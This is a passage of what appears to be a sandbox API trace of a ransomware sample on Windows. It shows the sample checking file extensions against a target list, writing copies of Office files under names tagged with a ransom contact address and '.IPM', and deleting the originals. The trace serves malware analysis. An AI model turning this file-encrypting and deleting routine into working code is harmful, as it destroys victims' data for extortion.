Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0081.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0081.467] lstrlenW (lpString=".doc") returned 4 [0081.467] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0081.467] lstrlenW (lpString=".docx") returned 5 [0081.467] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0081.467] lstrlenW (lpString=".pdf") returned 4 [0081.467] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0081.467] lstrlenW (lpString=".xls") returned 4 [0081.467] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0081.467] lstrlenW (lpString=".xlsx") returned 5 [0081.467] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0081.467] lstrlenW (lpString=".ppt") returned 4 [0081.467] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0081.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0081.467] lstrlenW (lpString=".zip") returned 4 [0081.467] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0081.467] lstrlenW (lpString=".rar") returned 4 [0081.468] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0081.468] lstrlenW (lpString=".bz2") returned 4 [0081.468] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0081.468] lstrlenW (lpString=".7z") returned 3 [0081.468] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0081.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0081.468] lstrlenW (lpString=".dbf") returned 4 [0081.468] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0081.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0081.468] lstrlenW (lpString=".1cd") returned 4 [0081.468] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0081.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0081.468] lstrlenW (lpString=".jpg") returned 4 [0081.468] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0081.469] lstrcmpiW (lpString1=".CHM", lpString2=".IPM") returned -1 [0081.469] lstrlenW (lpString="PSCONFIG.CHM") returned 12 [0081.469] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0083.477] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=37689) returned 1 [0083.477] CloseHandle (hObject=0x1e8) returned 1 [0083.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm")) returned 0x20 [0083.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0083.478] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0083.478] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0083.478] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0083.478] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0083.479] GetLastError () returned 0x0 [0083.480] ReadFile (in: hFile=0x1e8, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x9339, lpOverlapped=0x0) returned 1 [0083.489] WriteFile (in: hFile=0x208, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x9340, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x9340, lpOverlapped=0x0) returned 1 [0083.492] ReadFile (in: hFile=0x1e8, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0083.492] WriteFile (in: hFile=0x208, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0083.492] SetEndOfFile (hFile=0x208) returned 1 [0083.492] CloseHandle (hObject=0x208) returned 1 [0083.506] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0083.506] SetEndOfFile (hFile=0x1e8) returned 1 [0083.509] CloseHandle (hObject=0x1e8) returned 1 [0083.509] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0083.515] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm")) returned 1 [0083.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0083.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0083.516] lstrlenW (lpString=".doc") returned 4 [0083.516] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0083.516] lstrlenW (lpString=".docx") returned 5 [0083.516] lstrcmpiW (lpString1=".docx", lpString2="G.CHM") returned -1 [0083.516] lstrlenW (lpString=".pdf") returned 4 [0083.516] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0083.516] lstrlenW (lpString=".xls") returned 4 [0083.516] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0083.516] lstrlenW (lpString=".xlsx") returned 5 [0083.516] lstrcmpiW (lpString1=".xlsx", lpString2="G.CHM") returned -1 [0083.517] lstrlenW (lpString=".ppt") returned 4 [0083.517] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0083.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0083.517] lstrlenW (lpString=".zip") returned 4 [0083.517] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0083.517] lstrlenW (lpString=".rar") returned 4 [0083.517] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0083.517] lstrlenW (lpString=".bz2") returned 4 [0083.517] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0083.517] lstrlenW (lpString=".7z") returned 3 [0083.517] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0083.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0083.517] lstrlenW (lpString=".dbf") returned 4 [0083.517] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0083.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0083.517] lstrlenW (lpString=".1cd") returned 4 [0083.517] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0083.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0083.518] lstrlenW (lpString=".jpg") returned 4 [0083.518] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0083.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0083.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0083.518] lstrlenW (lpString=".doc") returned 4 [0083.518] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0083.518] lstrlenW (lpString=".docx") returned 5 [0083.518] lstrcmpiW (lpString1=".docx", lpString2="G.CHM") returned -1 [0083.518] lstrlenW (lpString=".pdf") returned 4 [0083.518] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0083.518] lstrlenW (lpString=".xls") returned 4 [0083.518] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0083.518] lstrlenW (lpString=".xlsx") returned 5 [0083.518] lstrcmpiW (lpString1=".xlsx", lpString2="G.CHM") returned -1 [0083.518] lstrlenW (lpString=".ppt") returned 4 [0083.519] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0083.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0083.519] lstrlenW (lpString=".zip") returned 4 [0083.519] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0083.519] lstrlenW (lpString=".rar") returned 4 [0083.519] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0083.519] lstrlenW (lpString=".bz2") returned 4 [0083.519] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0083.519] lstrlenW (lpString=".7z") returned 3 [0083.519] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0083.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0083.519] lstrlenW (lpString=".dbf") returned 4 [0083.519] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0083.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0083.519] lstrlenW (lpString=".1cd") returned 4 [0083.519] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0083.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0083.520] lstrlenW (lpString=".jpg") returned 4 [0083.520] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0083.520] lstrcmpiW (lpString1=".CHM", lpString2=".IPM") returned -1 [0083.520] lstrlenW (lpString="PSS10R.CHM") returned 10 [0083.520] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0084.353] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=27195) returned 1 [0084.353] CloseHandle (hObject=0x1d8) returned 1 [0084.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm")) returned 0x20 [0084.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0084.354] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0084.354] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0084.354] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0084.354] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0084.354] GetLastError () returned 0x0 [0084.354] ReadFile (in: hFile=0x1d8, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x6a3b, lpOverlapped=0x0) returned 1 [0084.611] WriteFile (in: hFile=0x1ec, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x6a40, lpOverlapped=0x0) returned 1 [0084.614] ReadFile (in: hFile=0x1d8, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0084.615] WriteFile (in: hFile=0x1ec, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0084.615] SetEndOfFile (hFile=0x1ec) returned 1 [0084.615] CloseHandle (hObject=0x1ec) returned 1 [0084.620] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0084.620] SetEndOfFile (hFile=0x1d8) returned 1 [0084.622] CloseHandle (hObject=0x1d8) returned 1 [0084.622] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0084.623] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm")) returned 1 [0084.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0084.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0084.623] lstrlenW (lpString=".doc") returned 4 [0084.623] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0084.623] lstrlenW (lpString=".docx") returned 5 [0084.623] lstrcmpiW (lpString1=".docx", lpString2="R.CHM") returned -1 [0084.623] lstrlenW (lpString=".pdf") returned 4 [0084.624] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0084.624] lstrlenW (lpString=".xls") returned 4 [0084.624] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0084.624] lstrlenW (lpString=".xlsx") returned 5 [0084.624] lstrcmpiW (lpString1=".xlsx", lpString2="R.CHM") returned -1 [0084.624] lstrlenW (lpString=".ppt") returned 4 [0084.624] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0084.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0084.624] lstrlenW (lpString=".zip") returned 4 [0084.624] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0084.624] lstrlenW (lpString=".rar") returned 4 [0084.624] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0084.624] lstrlenW (lpString=".bz2") returned 4 [0084.624] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0084.624] lstrlenW (lpString=".7z") returned 3 [0084.624] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0084.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0084.624] lstrlenW (lpString=".dbf") returned 4 [0084.625] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0084.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0084.625] lstrlenW (lpString=".1cd") returned 4 [0084.625] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0084.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0084.625] lstrlenW (lpString=".jpg") returned 4 [0084.625] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0084.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0084.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0084.625] lstrlenW (lpString=".doc") returned 4 [0084.625] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0084.625] lstrlenW (lpString=".docx") returned 5 [0084.625] lstrcmpiW (lpString1=".docx", lpString2="R.CHM") returned -1 [0084.625] lstrlenW (lpString=".pdf") returned 4 [0084.625] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0084.625] lstrlenW (lpString=".xls") returned 4 [0084.626] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0084.626] lstrlenW (lpString=".xlsx") returned 5 [0084.626] lstrcmpiW (lpString1=".xlsx", lpString2="R.CHM") returned -1 [0084.626] lstrlenW (lpString=".ppt") returned 4 [0084.626] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0084.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0084.626] lstrlenW (lpString=".zip") returned 4 [0084.626] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0084.626] lstrlenW (lpString=".rar") returned 4 [0084.626] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0084.626] lstrlenW (lpString=".bz2") returned 4 [0084.626] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0084.626] lstrlenW (lpString=".7z") returned 3 [0084.626] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0084.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0084.626] lstrlenW (lpString=".dbf") returned 4 [0084.626] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0084.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0084.626] lstrlenW (lpString=".1cd") returned 4 [0084.627] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0084.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0084.627] lstrlenW (lpString=".jpg") returned 4 [0084.627] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0084.627] lstrcmpiW (lpString1=".XML", lpString2=".IPM") returned 1 [0084.627] lstrlenW (lpString="SETUP.XML") returned 9 [0084.627] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0084.728] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=2362) returned 1 [0084.729] CloseHandle (hObject=0x1ec) returned 1 [0084.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml")) returned 0x20 [0084.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0084.729] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0084.729] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0084.729] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0084.729] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0084.730] GetLastError () returned 0x0 [0084.730] ReadFile (in: hFile=0x1ec, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x93a, lpOverlapped=0x0) returned 1 [0084.869] WriteFile (in: hFile=0x204, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x940, lpOverlapped=0x0) returned 1 [0084.871] ReadFile (in: hFile=0x1ec, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0084.871] WriteFile (in: hFile=0x204, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0084.873] SetEndOfFile (hFile=0x204) returned 1 [0084.873] CloseHandle (hObject=0x204) returned 1 [0084.876] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0084.876] SetEndOfFile (hFile=0x1ec) returned 1 [0084.878] CloseHandle (hObject=0x1ec) returned 1 [0084.878] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0084.878] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml")) returned 1 [0084.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0084.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0084.879] lstrlenW (lpString=".doc") returned 4 [0084.880] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0084.880] lstrlenW (lpString=".docx") returned 5 [0084.880] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0084.880] lstrlenW (lpString=".pdf") returned 4 [0084.880] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0084.880] lstrlenW (lpString=".xls") returned 4 [0084.880] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0084.880] lstrlenW (lpString=".xlsx") returned 5 [0084.880] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0084.880] lstrlenW (lpString=".ppt") returned 4 [0084.880] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0084.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup 